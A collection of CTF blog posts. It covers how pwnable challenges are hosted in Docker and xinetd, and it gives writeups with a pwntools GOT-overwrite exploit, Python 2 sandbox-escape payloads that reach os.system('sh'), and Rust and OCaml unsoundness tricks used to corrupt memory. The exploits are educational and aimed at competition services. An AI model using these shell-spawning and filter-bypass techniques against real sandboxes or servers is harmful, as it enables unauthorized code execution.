pwnable challengeをホストする際にしていること

CTF Advent Calendar 202020日目の記事です。一つ前の記事はptr-yudaiさんのオレオレFuzzerもどきを利用してCTFのpwnableを解こう - CTFするぞでした。

この記事では、CTFのorganizeをするときに、私がpwnableの問題をホストする際どのような形で問題環境を作っているか(問題のパッケージやインフラの構築など)について簡単にまとめます。理由としては、

  • こういう記事があまり見当たらない(のでこれからpwnable challengeをホストする人の多少の参考になれば)
  • 私自身セキュリティの専門家ではないので、自分のインフラがどのような危険を内包しているかどうかがあまり分からないので、場合によってはツッコミを頂きたい

という2点です。特に後者の点が大きくて、pwn challengeを通してサーバーを乗っ取られた上で他のフラグなどがリークしてしまった場合、被害が甚大です。なので今後のCTF大会の健全な開催のためにも、もし何か気づいたらお知らせください。

一応私のCTFのorganize経験としては

  • TSGCTF 2回
  • TSG Live CTF 2回
  • SECCON CTF 2回 (これはorganizeと言ってしまうとよくないかもしれません、自分のpwnableのインフラを管理していただけなので)

で、ここまで環境設定ミスで問題が破壊されたり、変にフラグリークしたという経験はないです(気づいてないだけかもしれませんが)。

なお、基本的にただdockerで起動したりtcpdumpで監視したりしているだけなので、そういうところに面白さを求めている方がいらしたら、ごめんなさい。習ったわけではないですが、多分普通です。

前提

pwnableの問題をホストするということは、そのバイナリと同程度の権限で、攻撃者がサーバーのシステムにアクセスできるということを意味しています。なので、当然ですが、「適切な環境の分離」というものが必須になります。このとき分離に対して評価軸として次のようなものを頭に入れています

  • attack surfaceの大きさ
  • シェルを取られた際に起こりうる危険の大きさ
  • かかるお金
  • 手間、面倒くささ

おそらく現実のシステムを考える上でもこういう考えがもっと一般化されて、形式的に議論されているのだと思いますが、私はセキュリティの専門家ではないのでそういう話は知りません。以下ではVMの分離の方がコンテナの分離より、attack surfaceが小さいので安全だが、VMの分離は値段的に高い、として話を進めています。

また最後に、手間、面倒くささと書きましたが、これもこの記事で常に現われる評価軸です。私はpwnの問題を出したいだけであって、かっこいいインフラにすることにそれほど興味が無いので(もちろんかっこいいほうが良いですけど)、出来る限りインフラを設定するのにかかるコストは小さい方が良い、ということを意味します。工数が半日以上かかりそうなインフラの設定はしたくありません。

問題のセッティング

問題のパッケージ

基本的に問題環境のパッケージはdockerを用いて行っています。理由は導入が楽だからです。例として、TSGCTF 2のBeginner's PwnのDockerfileを見てみます

FROM ubuntu:20.04


RUN apt-get update && \
        apt-get -y upgrade && \
        apt-get install -y \
            xinetd \
            iproute2

RUN groupadd -r user && useradd -r -g user user

COPY --chown=root:user ./build/start.sh /home/user/start.sh
COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf
COPY --chown=root:user ./build/flag /home/user/flag
COPY --chown=root:user ./dist/beginners_pwn /home/user/beginners_pwn

WORKDIR /home/user

RUN chmod 444 ./flag && \
    chmod 555 ./beginners_pwn && \
    chmod 555 ./start.sh && \
    chmod 444 /etc/xinetd.d/ctf
USER user
EXPOSE 30002

CMD ["xinetd","-dontfork","-f","/etc/xinetd.d/ctf"]

基本的にやっていることは

  • 必要パッケージのインストール
  • 必要ファイルのコピー
  • 権限の設定
  • 非rootユーザーの追加と設定
  • 起動コマンドの設定

です。これは趣味ではあるのですが、「シェルをとってほしい」という気持ちをより強くしたい、つまりflag名guessはされたくないと思う場合は、Dockerfileの中でさらにflag名にmd5sumをつけるなどをしても良いと思います(ptr-yudaiさんがこのようにしています

これをビルドして、イメージとして保存すれば、ほぼ完全に環境を固定化できますし、そうでなくてもdocker buildで基本的に必要なセットアップができるので便利です。 ただしDocker imageを固定してもなお、しばしば背後のカーネル依存の挙動が重要になったりするケースがあり注意が必要です。今まで遭遇したことがあるのは、

などがあります。とはいえ、あなたのソルバが本番環境に特に問題なく(個別のデバッグなく)刺さるなら、基本大丈夫じゃないですかね。 まあ、pwnのインフラを整備するときには、変なguessingが入らないことをいずれにせよ注意する必要がありますし、とはいえ吸収しきれない場合が多いのでclarで対処をするしかないです。

サーバー化

私はxinetdを使っています。いつも使っているconfigは次のようになっています

service ctf_beginners_pwn
{
    type = UNLISTED
    protocol = tcp
    socket_type = stream
    port = 30002
    wait = no
    disable = no
    user = user
    server = /bin/sh
    server_args = /home/user/start.sh
}

他の候補としては、socat/ynetdがあると思いますが、この辺の違いはあまりわかりません。勝手にsocatよりxinetdの方が信頼できると思っています。

タイムアウト

xinetdにそういう機能が無いと思うので、timeoutは起動コマンドに外部からかけています https://github.com/tsg-ut/tsgctf2/blob/master/pwn/beginners_pwn/build/start.sh

timeout -s 9 60s ./vuln

バッファリング

問題によっては、外部からIOのバッファリングを切る必要があります。これにはstdbufというものを使っています。

stdbuf -i0 -o0 -e0 ./vuln

インフラの設定

ここが今回の一番の問題です。

まず話の流れとして、問題のデプロイについて話すと、基本的には上でパッケージしたdocker imageをそのままdocker runで実行しています。正確にはdocker-composeを用いて

version: '3'

services:
    ctf:
        restart: always
        build: ./
        read_only: true
        ports:
            - '30005:30005'

のように、必要な設定を追加しています。

次に具体的にどういうマシンを使っているかについて話すと、TSG CTFの場合はGCP、SECCONの場合はSakuraからVMを借りてその上に環境を作っています。特筆するとすれば、TSG CTFでは、Container Optimized OSというOSを利用しています。基本コンテナがその上で動作するという仮定を置いた上でのセキュリティの設定などがデフォルトでパッケージされているらしいです。詳しくは知りませんが、ボタンを押すだけなので簡単です。 なお、このOSではパッケージを入れたりするのがかなり難しく、docker-composeを入れるのが自明ではありません。そのための簡単なwrapperをこおしいずさんが作ってくれたので、ありがたく活用しています。 https://github.com/tsg-ut/tsgctf2020/blob/master/tools/easy-docker-compose.sh

そして、このマシンの上で複数のpwnの問題をコンテナにより分離を信じて、配置しています。このようにすることの利点は、VMが一つで済むので価格が安いです。一方で、コンテナの分離は、VMの分離より(一般的に)弱いので危険と言えば危険です。どっちを取るべきかはコンテストの重みによっても変わると思いますが、基本的には信じて問題ないと思って、4回ほどコンテストを開催しました。多分何も起こってません。Docker Escape見つけたらTSG CTFなんかで使わないでください。逆に言えばDocker Escapeが見つかったりしない限りは安全だと思っています。

事例集

「典型的なpwnの問題の例」 TSGCTF 2: Beginner's Pwn

一番典型的なPwnの問題です。こういった問題は、「一般的に普通のコンテナの使い方」で実行できるので、「かなり安全な部類」だと思っています。なので、この部類の問題サーバーは同じVMに同居させています。 TSGCTFではお金をケチって、区別していませんでしたが、リスクとしてはpwnとcryptoの問題では明らかにpwnの問題の方が(シェルをとらせるので)危ないことが多いので、こういったリスクでVMをわけるのも良いと思います。

「内部でコンテナ化をしている問題の例」 TSGCTF 2: std::vector

問題の内部での環境を分離するためにコンテナを使っているタイプの問題です。 この問題は内部でコンテナによる分離を必要としています。つまり、問題サーバーもDockerでデプロイするとなると、Docker in Dockerが必要ということです。

Docker in Dockerの嫌なところはprivilegedをつけて実行する必要がある点です。これにより、通常のコンテナよりもアクセスできるデバイスへの自由度が増えるので、シェルを取られた時により危険な状態であると言えます(ちなみに、問題の設定として、privilegedなコンテナでのシェルは、pythonやhashcashにバグが無ければ、取れないはずということになっています。つまりシェルが取れるのは入れ子になったコンテナの中だけです)。

このリスク評価が正しいかはわからないですが、(主に無知なので怖いから)TSGCTF 2ではprivilegedコンテナを使う問題だけは、VMを別にして安全を優先しました。この付近に関しては私は知識不足なので、似たような設定で問題を作っている方がいらしたら、どういうふうに設定しているかを教えて頂きたいものです。

ちなみにDocker in Dockerテクですが、DinDのImageはBASEがalpineになっていてあまり使い勝手がよろしくないが、自分でDinDするための設定をUbuntuのbaseイメージに対してしていくのは、面倒だったので、中のコンテナでは実はDockerではなくnsjail を使っています。 このようにすると、Dockerfileの外側の設定の見た目はほとんど変わりません。

https://github.com/tsg-ut/tsgctf2020/blob/master/pwn/stdvec/Dockerfile

FROM moratorium08/nsjail

RUN apt update && apt upgrade -y && apt install -y python3.7 nodejs npm xinetd iproute2
...

違うのはnsjailのイメージを使っている点とdocker-compose.ymlでprivilegeを指定している部分だけです。

「お金がいっぱいある例」 SECCON

SECCONのようにお金がある場合は全部の問題ごとにVMで分離しています。これが手間もかからず、安全性も高いので、お金が気にならないならこれが良いと思います(し、SECCONの場合ミスってコンテストが崩壊した場合にはかなり困ったことになるので、そうするべきなんだと思います)。

監視

CTFの開催というのは基本的には慈善事業なのであまり悪意のあることをされると(異常な量のペイロードを投げるなど)結構困ります。もちろん外側からの監視で通常あるべきでない量のペイロードを投げる人を見つけることはできますが、「悪意」がありそうかどうかの判定は案外難しいです。せっかく開催したCTFに参加してくれているので、できればbanはしたくありません。 また、想定外の行動(明らかにアクセスできるべきでないファイルにアクセスしているなど)をされたり、これはあまり良くない話ですが、想定外の解法で解かれていることもあります。もちろん対策を取れるかどうかは別問題ですが、開催中にこういったことに気づいておきたいところではあります。 つまり、適切な監視インフラを構築したいですが、これもまた「面倒なことはあまりしたくない」という別のモチベーションがあります。

これをするには私は、VMに直接tcpdumpをインストールした上でこのスクリプトを、問題ごとにsupervisordに登録して、dumpを吐き出させ、それをflowerというツールで監視しています。

この辺はあまり満足度が高くなくて、手元でパケットを解析するために定期的にパケットのファイルを手元にダウンロードしたり、それをflowerに流したりする部分があまりきれいではありません。上手な方法を御存知の方がいたら教えて下さい。

ちなみに、flowerの流し込み部分ですが、私の手元のメモによれば次のようにやるらしいです(汚いね)

なんか確かimport.pyで使われているライブラリのインストールがかなり難しいはずで、しかしこのdocker imageの中では動くので、このような汚いことをしているはず、全ては怠惰のため。

あと留意点として、(これはあるあるだと思いますが)tcpdumpで分割された最新のファイルをダウンロードしてimportするとそのファイルは不完全なので壊れがちです。ダウンロードするときは最新から一個手前までのもののみにすると良いです。

その他

Proof of Work

Proof of Workを問題によっては入れる場合があります。もちろん入れないほうがストレスも無いし良いんですが、一回の接続で問題サーバー側のリソースをそれなりに使わないといけない状況の場合には、基本的には「一人一票の原則」を適用させたい場合があります。とはいえ、PoWがあるのは当然ですが問題を解く側の経験としてプラスになることはないので、出来る限り回答者の気持ちに寄り添う必要があると思います。

これは単なる私の持論ですが、PoWを入れる場合(入れなければいけないような問題の場合)は次のような点に注意しています

  • サーバーを動作をローカルで再現できて(ソースコード、バイナリなどが配られていて)、回答者がサーバーに接続する必要があるのは最後だけ
  • PoWをするためにコードを書かせない(PoWソルバを書くのも手ですがこの場合ここに最適化の余地を生んでしまうとお互い困るので、既存ツールでインストールの手間がかからないものを使うのが良いというのが私の見解です。私はhashcashを使っています)

readn

さらに細かいですが、たまに見るのでコメントだけ残しておくと、少し大きめのバッファが必須(例ROPの長めのペイロードなど)のときに、直接read(0, buf, N)のようなことをするプログラムがある場合がありますが、これはネットワーク越しだと不安定になるので良くないです(文字数制限をつけたいなら明示的にすべきで)。

なので、よくあるシステムズプログラミングの課題のように、Nバイト受け取らなければいけない場合は、必要なバイトを受け取るまでループを回すコードを書きましょう。

最後に

何か気づくことがあればコメント頂けると幸いです。

明日はakiko_pusuさんの「1週間経って少しはすすんだでしょうか?書いてみます!」です。楽しみですね。

TSG LIVE CTF writeup + 雑記

この記事はTSG Advent Calendar 2020 の2日目の記事として書かれました。昨日は博多市さんのTSG CTF 2020 開催記でした。

TSG LIVEは、大学の文化祭の催し物として企画されているもので、TSG LIVE CTFはその企画の一つで、TSGの数人が問題を用意し、別の数人が2チームに分かれてその問題を解いて競う様子を、実況を交えてライブ配信します。

アーカイブYouTubeに上っているので興味があればどうぞ。

www.youtube.com

なお、ライブ配信されているわけではありますが、TSG外の人々にもスコアサーバー及び問題サーバーを解放していて同時に解くことができるようにしていました。実際、外部から参戦したyoshikingdomさんは強かったですね。ほぼ全完です。各位ご参加ありがとうございました。以下がその結果を報告するツイートです。

また問題も以下のリポジトリから公開していて、これらのうち僕が作問した問題について、writeupを書いたのがこの記事の内容になります。

github.com

writeup書いてて思ったんですが、LIVE CTFで消費するのもったいなかったような。まあ二問とも非想定解で時間内に解かれましたが.... (いつも非想定解で解かれてないか)

writeup: one-byte-man

ネタは、

  • gccでexit終わる関数をコンパイルすると、継続の処理が無くなるので、exitがreturnすると次の関数の頭に突入する
  • exitのGOTエントリ書き換えでmainの無限ループ

です。one byte manという名前の通り、任意アドレスの1バイト書き換えができる状態になっているので、まずGOTのエントリを1ビット書き換えて、mainループが起こるようにした後にROPを構築する、というのが想定解となっています。なお、割とこの想定解法自体はボス問枠で、ここから条件を落とした問題を2問用意しました。このうち一番簡単な問題は特に言及の余地がないですが、2番目の難易度の問題はちょうど良くライブ向けにできて、結構気に入っているので紹介します。

問題設定は次のようなプログラムです。アドレスを受け取って、そのアドレスについて、1バイト書き換えた後、exit(0)をします。

int main(void) {
    unsigned long long addr;
    char buf[0x20];
    setup();
    write(1, "address: ", 9);
    readn(buf, 0x1f);
    addr = strtoull(buf, NULL, 10);
    write(1, (char*)addr, 8);
    write(1, "data: ", 6);
    readn((char *)addr, 1);
    exit(0);
}
void friend() {
    execl("/bin/sh", "sh", NULL);
}

ただし、checksecは

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73) Symbols  No 0       1       one-byte-man

のようになっていて、GOTのエントリを書き換えられることが分かります。なおバイナリが上手に配置されているので、exitのPLTのアドレスを1バイト書き換えるとちょうどmainに位置させることができるようになっています。

次に、バイナリに目を向けてみると、

00000000004007d8 <readn>:
  4007d8:   55                      push   %rbp
  ...
  400864:   c9                      leaveq
  400865:   c3                      retq
0000000000400866 <main>:
  400866:   55                      push   %rbp
  400867:   48 89 e5                mov    %rsp,%rbp
  ...
  400905:   bf 00 00 00 00          mov    $0x0,%edi
  40090a:   e8 51 fd ff ff          callq  400660 <exit@plt>

000000000040090f <friend>:
  40090f:   55                      push   %rbp
  400910:   48 89 e5                mov    %rsp,%rbp
  400913:   ba 00 00 00 00          mov    $0x0,%edx
  400918:   48 8d 35 ec 00 00 00    lea    0xec(%rip),%rsi        # 400a0b <_IO_stdin_used+0x4b>
  40091f:   48 8d 3d e8 00 00 00    lea    0xe8(%rip),%rdi        # 400a0e <_IO_stdin_used+0x4e>
  400926:   b8 00 00 00 00          mov    $0x0,%eax
  40092b:   e8 40 fd ff ff          callq  400670 <execl@plt>
  400930:   90                      nop
  400931:   5d                      pop    %rbp
  400932:   c3                      retq

上のようにexitのcallの後はすぐにfriendのコードが始まっていることが分かります。以上から、上であげたようなネタで解けることが分かります。

実際に考えてみると、これは非常に短いコードで達成できます。exit = mainにしたあとに、mainの先頭から1バイト下げて、exit: retにするのがミソですね。2工程です。

from pwn import *

main_addr = 0x400866
exit_got = 0x601048

r = remote("localhost", 3001)

# exit_got to main
r.recvuntil(': ')
r.sendline(str(exit_got+1))
r.recvuntil(': ')
r.send(chr((main_addr >> 8) % 256))

# exit_got to main - 1 (ret of readn)
r.recvuntil(': ')
r.sendline(str(exit_got))
r.recvuntil(': ')
r.send(chr((main_addr - 1) % 256))

# shell!
r.interactive()

ライブCTFの理想問は、「一発ネタ + 実装最小限」で解ける問題だと思っているので、これはかなりよくできたライブ向け問だと自負しています。ちなみにこういうタイプの問題で、TSG CTFのBeginner's Pwnとかも出せたら良かったんですが、当時アイデアが無かったので残念。

writeup: getting over it

Rustのバグをネタにして問題にしました。ネタ元はissue28728で、uenokuさんなどによってよく解説されています。まあ有名なバグですね。

簡単に掻い摘んで解説すると、「副作用のない無限ループを書くと(Rustの言語仕様としてはundefinedになるわけではないが、LLVMの仕様のせいで)、想定しない挙動になる」というものです。信じられないと思う貴方は次のプログラムをrustcで(-O つきで)コンパイルして実行してみてください

fn main() {
    (||loop{})()
}
$ rustc -O broken.rs
$ ./broken
zsh: illegal hardware instruction  ./broken

びっくりですね。基本的には、LLVMがこういう挙動をするのはC++の仕様のせいなのですが、詳しくはここでは省略します。

問題の概要について説明すると、

fn sandbox(x: &mut u64) {
    /* code */
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{/* redacted */}}");
}

上のようなプログラムが与えられているので/* code */のところに好きなコードを入れて、sandboxの無限の再帰呼び出しを突破しよう!という問題です。なお、NGワードは、'!', 'std', "#", "return", "unsafe", "sandbox", '}'です。すなわちこれらの単語を含まないプログラムを与える必要があります。

上でネタバレしたように、Rustでは副作用のない無限ループを書くと"よくないこと"が起こるようです。試しにやってみましょう。 /* code */に何も書かなければ、このプログラムは、引数の参照を通して値の読み書きをします。これをなんとか消せないでしょうか? 消せますね。単にシャドーイングをすればよいです。

fn sandbox(x: &mut u64) {
    let x = &mut 0;
    *x += 1;
    sandbox(x);
}

fn main() {
    let mut cnt = 0;
    sandbox(&mut cnt);
    println!("{} loops. Good job!", cnt);
    println!("Flag is TSGLIVE{{flag}}");
}
$ rustc -O prog.rs
$ ./prog
0 loops. Good job!
Flag is TSGLIVE{flag}

Rustのunsound hole問はここ数年で多数出題されていますが、この問題もその1つに分類することができると思います。多数出題されていることからも分かる通り、rustのコンパイラ(や型システム)にはまだまだバグがあるということです。。

実際、Rustの型システムやRustのライブラリの安全性を形式的に検証する試み(RustBeltなど)は近年盛んに研究されていますし、まだまだ面白い話が続きそうな気もします。

LIVE CTFについて

最近はCTFのYouTube進出が激しいです。日本人CTF系YouTuberとしては、kurenaifさんが有名ですし、海外に目を向けてみれば、ALLES!のLiveOverflowをはじめとして多数のチャンネルが開設されています。 また、今年のGoogle CTFのFinalsの様子は、参加者のスクリーンを録画して実況をつけた動画としてアップロードされるそうです。

人がCTFしている様子を見るのは割と勉強になるので結構暇な時に見てしまいます。こういったチャンネルが今後とも増えていくことを願っていますし、TSG Live自体ももう少し世の中の人間にリーチしないかなあと思ったりしなくもないですね。

個人的には、LIVE CTFで各位が問題解いている様子が見たいので、ぜひお願いします。いっそ次回のLIVE CTFはゲストチームをinviteしたりするのもありなのかな。

最後に

いかがでしたでしょうか?

明日は、smallkirbyさんの「乾パンの美味しい食べ方」です。楽しみですね。

smallkirby.hatenablog.com

SECCON 2020 Online CTF Writeup: Yet/Yet^2 Another PySandbox, mlml, Fixer

SECCON writeup

I was the author of the four challenges: Yet Another PySanbdox, Yet2 Another PySandbox, mlml, Fixer. In this post, I will talk about the author's writeup and each challenge's background concept.

Yet Another PySandbox

You can create any function by bypassing the filter by writing function's bytecode directly. Though there are tons of ways to do it, I'll give you an example to do that as follows.

[setattr(f,'func_code',type(f.func_code)(0,0,2,67,'d\x06\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00d\x02\x00\x19j\x03\x00j\x04\x00d\x03\x00\x19j\x05\x00d\x04\x00\x19j\x06\x00j\x07\x00d\x05\x00\x83\x01\x00\x01d\x00\x00'+'s'.upper(),([].append(1),0,59,'sys','o'+'s.path','sh',()),('_'+'_cl'+'ass_'+'_','_'+'_bas'+'es_'+'_','_'+'_subcl'+'asses_'+'_','_'+'_init_'+'_','func_glob'+'als','mod'+'ules','o'+'s','sy'+'stem'),(),'','',0,''))+f()for    f   in[lambda   :1]]

The central idea of this is to modify func_code of the given function by using setattr. In Python 2.7, code class requires the following arguments:

code(argcount, nlocals, stacksize, flags, codestring, constants, names,
      varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])

Create a code object.  Not for the faint of heart.

By giving these values, you can create any functions you can write. Since you can pass the required values like __class__ by specifying a string like '_' + '_cla' + 'ss_' + '_', you can bypass the filter.

Also we have to pass the body of function, codestring. The above bytecode is generated by the following function's bytecode:

def f():
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")

This function is the typical way to access shell without using the global builtins.

Yet2 Another PySandbox

This challenge is related to "Yet" challenge, but the intended solution is entirely different.

The answer is straightforward. (lambda:sandboxed_eval)() will give you sandboxed_eval function for you, and since this function alone does not contain any filtering features, you can do eval freely. That is, you can do typical sandbox escaping like ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh") . Of course, you have to fix a little to bypass the filter before you get sandboxed_eval without check. However, it is easy since eval receives a string, and you can bypass the filter by a string like '_' + '_cla' + 'ss_' + '_'.

This specification is written in Execution model of Python's reference. We can find the following statement

The eval() and exec() functions do not have access to the full environment for resolving names. Names may be resolved in the local and global namespaces of the caller. Free variables are not resolved in the nearest enclosing namespace but in the global namespace. 1 The exec() and eval() functions have optional arguments to override the global and local namespace. If only one namespace is specified, it is used for both.

That is, if you nest scopes within eval, the scope will be global.

The interesting thing is that why this a little "strange" behavior happens? First, consider whether this is really a strange thing or not. Here is the result of the following three languages.

JavaScript

Welcome to Node.js v14.13.1.
Type ".help" for more information.
> const x = 1;
undefined
> function a() {
... const x = 2;
... return eval("(()=>x)()");
... }
undefined
> a()
2

(^_^)v

Ruby

irb(main):001:0> x = 1
=> 1
irb(main):002:0> def a()
irb(main):003:1>   x = 2
irb(main):004:1>   eval("lambda{||x}.call")
irb(main):005:1> end
=> :a
irb(main):006:0> a()
=> 2

(^_^)v

Perl

main::(-e:1):    0
  DB<1> my $x = 1;

  DB<2> sub a { my $x = 2; return eval("(sub {$x})->()"); }

  DB<3> print(a(), "\n");
2

(^_^)v

Python 2.7

Python 2.7.16 (default, Jun  5 2020, 22:59:21)
[GCC 4.2.1 Compatible Apple LLVM 11.0.3 (clang-1103.0.29.20) (-macos10.15-objc- on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 1
>>> def a():
...   x = 2
...   return eval("(lambda:x)()")
...
>>> a()
1

🥺🥺🥺🥺 (Note that the same thing happens also in Python 3.9)

The natural thing for me is that the behavior of eval should be the same as the behavior without eval. That is, the semantics of eval("XXX") should be equivalent to that of XXX. So, for me, Python's behavior is bizarre.

Okay, I can accept that there is a "consistent policy" such as "eval's scope is always equal to the global." However, furthermore strangely, the followings seem to have different policies about free variables of eval.

>>> x = 1
>>> def a():
...   x = 2
...   return eval('x')
...
>>> a()
2

and

>>> x = 1
>>> def a():
...   x = 2
...   return eval("(lambda:x)()")
...
>>> a()
1

Why does this happen? Engdegård reported this curious behavior before. This argument was fine. First, as for the eval's scope, we can consider some consistent policies, as Engdegård stated.

A1. In an empty environment with no bindings at all, or just the language-defined standard bindings. A2. In the (or a) top-level environment; local, lexically bound variables where the eval() takes place are not visible to the argument expression. A3. In the same lexical environment as the eval() call itself.

But the actual policy of Python is

A4. A mixed hybrid environment of some kind: The identifiers representing variables that are to be evaluated immediately are looked up in the lexical environment of the eval expression; identifiers representing variables in delayed-evaluation positions use the global environment.

Actually, in that argument, there is no agreement of the conclusion of "why." However, I think Hylton's answer is a good suggestion. Python's interpreter has to determine whether each local variable should be stored in a cell or a local (closures can capture only cell variables, so if a variable is captured, then the interpreter will store it in a cell).

You can check this behavior as the following disassemblies:

>>> def f():
...     x = 2
...     return lambda: x
...
>>> dis.dis(f)
  2           0 LOAD_CONST               1 (2)
              3 STORE_DEREF              0 (x)       ### <- STORE x in a cell

  3           6 LOAD_CLOSURE             0 (x)
              9 BUILD_TUPLE              1
             12 LOAD_CONST               2 (<code object <lambda> at 0x106200230, file "<stdin>", line 3>)
             15 MAKE_CLOSURE             0
             18 RETURN_VALUE
>>>
>>>
>>> def f():
...     x = 2
...     return eval("lambda: x")
...
>>> dis.dis(f)
  2           0 LOAD_CONST               1 (2)
              3 STORE_FAST               0 (x)

  3           6 LOAD_GLOBAL              0 (eval)
              9 LOAD_CONST               2 ('lambda: x')
             12 CALL_FUNCTION            1
             15 RETURN_VALUE

I think it is not a good idea in terms of efficiency that the bytecode compiler has to put all the variables in the memory cell because of the existence of lambdas in eval. So, I can understand the current constraint of eval, though it is strange.

Of course, the semantics of the language should be separated from how it is implemented. However, maybe the initial design of the eval and lambda is not well-considered (that is why this inconsistency problem was not documented at first). I think we can consider some mitigations to make eval natural, but this issue does not affect almost all users (who cares lambdas in eval :P), so the problem may exist until now and in the future.

Unintended solution for Yet/Yet2 Another PySandbox

Actually, because of my thoughtless test play, the filter of Yet and Yet2 Another PySandbox was kinda weak, and I should have added frame as prohibited words. You may bypass that sandbox by using Python's generator for both of the challenges, in fact (since in Yet2, there are no builtins, it's complicated, but someone did).

mlml

First, I have to apologize to you since my filter to avoid unintended solution was too weak, and it led to the renewal of the challenge. I am really sorry about that.

After the renewal, there are three solvers: perfectblue, Ten*48 and PPP. Thank you for playing! Yet, still, the refined filter was too weak, and their solutions submitted to the server were not intended ones (They were using unsafe string manipulation functions).

The intended solution is to use OCaml's unsound issue to trigger memory corruption.

The following OCaml program will break out from the OCaml's safety (the following program was taken from the above issue):

type u = {a: bool; mutable b: int option}

let f x =
  match x with
    {a=false} -> 0
  | {b=None} -> 1
  | _ when (x.b <- None; false) -> 2
  | {a=true; b=Some y} -> y

let _ = f {a=true; b=Some 5}

Focus on the third match guard. This guard always evaluates to false, but there is a side effect that x.b will be assigned to None during the evaluation. Because of the lousy implementation of OCaml compiler, the last pattern will match to x, which leads to the dereference of None, and Segmentation Fault. By utilizing this fact preciously, we can get a shell. My PoC is a little long, so I put it on gist.

The background idea related to this challenge is that we can avoid this issue by using ownership system like the one Rust has since, within a pattern match "the pointer to be matched" should not be modified. Consider the following Rust program.

fn f(x: &mut (bool, Option<i32>)) -> i32 {
    match x {
        (false, _) => 0,
        (_, None) => 1,
        _ if ( {let z = &mut x.1; *z = None; false} ) => 2,
        (true, Some(y)) => *y,
    }
}

fn main() {
   let mut x = (true, Some(5));
   println!("{}", f(&mut x));
}

If you compile it, rustc will complain that within the match-guard, variable x should be immutable:

$ rustc prog.rs
error[E0510]: cannot mutably borrow `x.1` in match guard
 --> prog.rs:6:25
  |
3 |     match x {
  |           - value is immutable in match guard
...
6 |         _ if ( {let z = &mut x.1; *z = None; false} ) => 2,
  |                         ^^^^^^^^ cannot mutably borrow

error: aborting due to previous error

For more information about this error, try `rustc --explain E0510

`.

I think this is also an example of the collaboration of efficiency and safety thanks to Rust type system.

Fixer

Fixer is about pyc reversing (with Python3.9) and many fixpoints. If you find that there is a combinator of the following:

(lambda a: (lambda b: a(lambda c: b(b)(c)))(lambda b: a(lambda c: b(b)(c))))

you will be able to parse the whole structure of the bytecode.

This challenge was first created by me, but after that, @theoremoon, @ptr-yudai and @xrekkusu have investigated "how should be organized as a fun challenge" deeply. Thank you. Actually, though it was controversial to submit this chall as a reversing challenge, it would be grateful to me if you felt fun with this challenge.

2019年の総括

毎年やっているので。

振り返ると一つのことにしか集中できないのでこの時期に何してたかみたいなのがかなり回想出来る気がする。 1-3月ごろはOS作ったりCPU実験をしていたし、4-7月ごろはGSoCをしていたり、演習3をしていた。9-12月は研究(?)をしていた。そう考えるとかなり大学のことを真面目にやっていたんだなと思う。 今年はCTFも多少やった気がするし、作問もした。

来年の目標として一つあるのは、ある程度ちゃんとしたCTFにおいて最終的にsolver数一桁になるような問題を適切に解いていきたい。最近CTF終わった後いつもそういう感想になる。あとは基本的に研究に取り組みたいなとは思う。個人的な意見としては楽しいと思う。

去年の総括を見ていると

地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。

という記述があったが、研究室が地上になったことで必然的に前者はある程度達成できるようになった。西日は眩しい。後者は今もなお問題で、実際に死んでいる。

もう一点の懸念としては雑に使えるお金の量の単調減少。まぁ今働いてないからね、仕方ない。とはいえ学生は学問をすべきでは?という結論に至ってから、なかなか雑に働く気にもなれないので、学問してたらお金がもらえないかなという感じになっている。

分かる。

人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた

人生よくわからん。いずれにせよ、来年は就活的なものが発生したりしなかったりするのかもしれない、考えを先送りにしている

CTF Zone Quals 2019 Writeup

TSG Advent Calendarの5日目の記事です。昨日は、うらさんの JavaScript じゃなくても GitHub Pages で動かしたい - Qiita でした

adventar.org

開催一ヶ月くらい前につばめくんが海外オンサイト行きてえし、これ行けるんちゃう?みたいな話をした結果、真面目に参加しようという話になりました。開催数日前にDEFCON Quals Qualsであることが発表されたのでどうなんやろなーと思っていましたが、ギリギリ10位に入ったので良かったです。

TSG Advent Calendarを埋めるために、ブログにするほど特筆するべきことがあるわけではないんですが、writeupを書きます(一部僕が解いたわけではないが、楽しかった話をコメント)

Agents

AES OFBで暗号化した何かしらの文が渡されて、HQにその暗号文を持っていくとありがとうと言われる。それだけ。OFB(Output Feedback Mode)ということは、暗号化された状態で平文の各ビットを適当に反転することができる。

暗号文は全体で2650ビットくらいあったので、とりあえず、各ビットを反転していくと、JSON corrupsedと言われる場合、errorでそもそも落ちる場合、特に何も言われない場合、そして、なんか信じてもらえて謎の文を返してもらえる場合に行き着く。

Thank you. HQ said that I can rely on you. Here is top secret message. It is encrypted with public RSA key contained in message that you gave me. Please deliver it to HQ as soon as posible.  90f21501ac7329ae0dd3002c81970b0971ea880669fb1557dbde34d25894352d969f45a295c54a3f3bb3f7ff0a1b47b80c1972aac9597d662c85914a40cd60d5eea0f3859a1d0d2832fe8adcd53e2d8134da0f858a022b5a6cba45b785e526927c84273b74449bd467f2ea1e72f1ca6d9543fe02f33df1d7e1fda346ae8c6a92

これは答えじゃないらしい。どうも、中身をよくしらないが、HQに送りつけているのはRSAの鍵と自分が信じていい人間かという情報らしい。またJSON corrupsedといわれている以上JSON形式なんだろう。errorが起こるのは、辞書型キーを破壊した場合かななどのことが考えられ、以上からどういう構造をしているJSONであるかも想定がつくので(数字が並んでいるところは上位ビットを破壊すると、JSON corrupsedになるが、下位ビットを壊しても怒られはしない)、RSA公開鍵のeを1に書き換えてやればいい

Easy VM

MS-DOS executable, MZ for MS-DOSなバイナリ、dosboxとかいうエミュレータで動く。動かすと、ファイルを受け取って正しいかどうか判定するらしい。

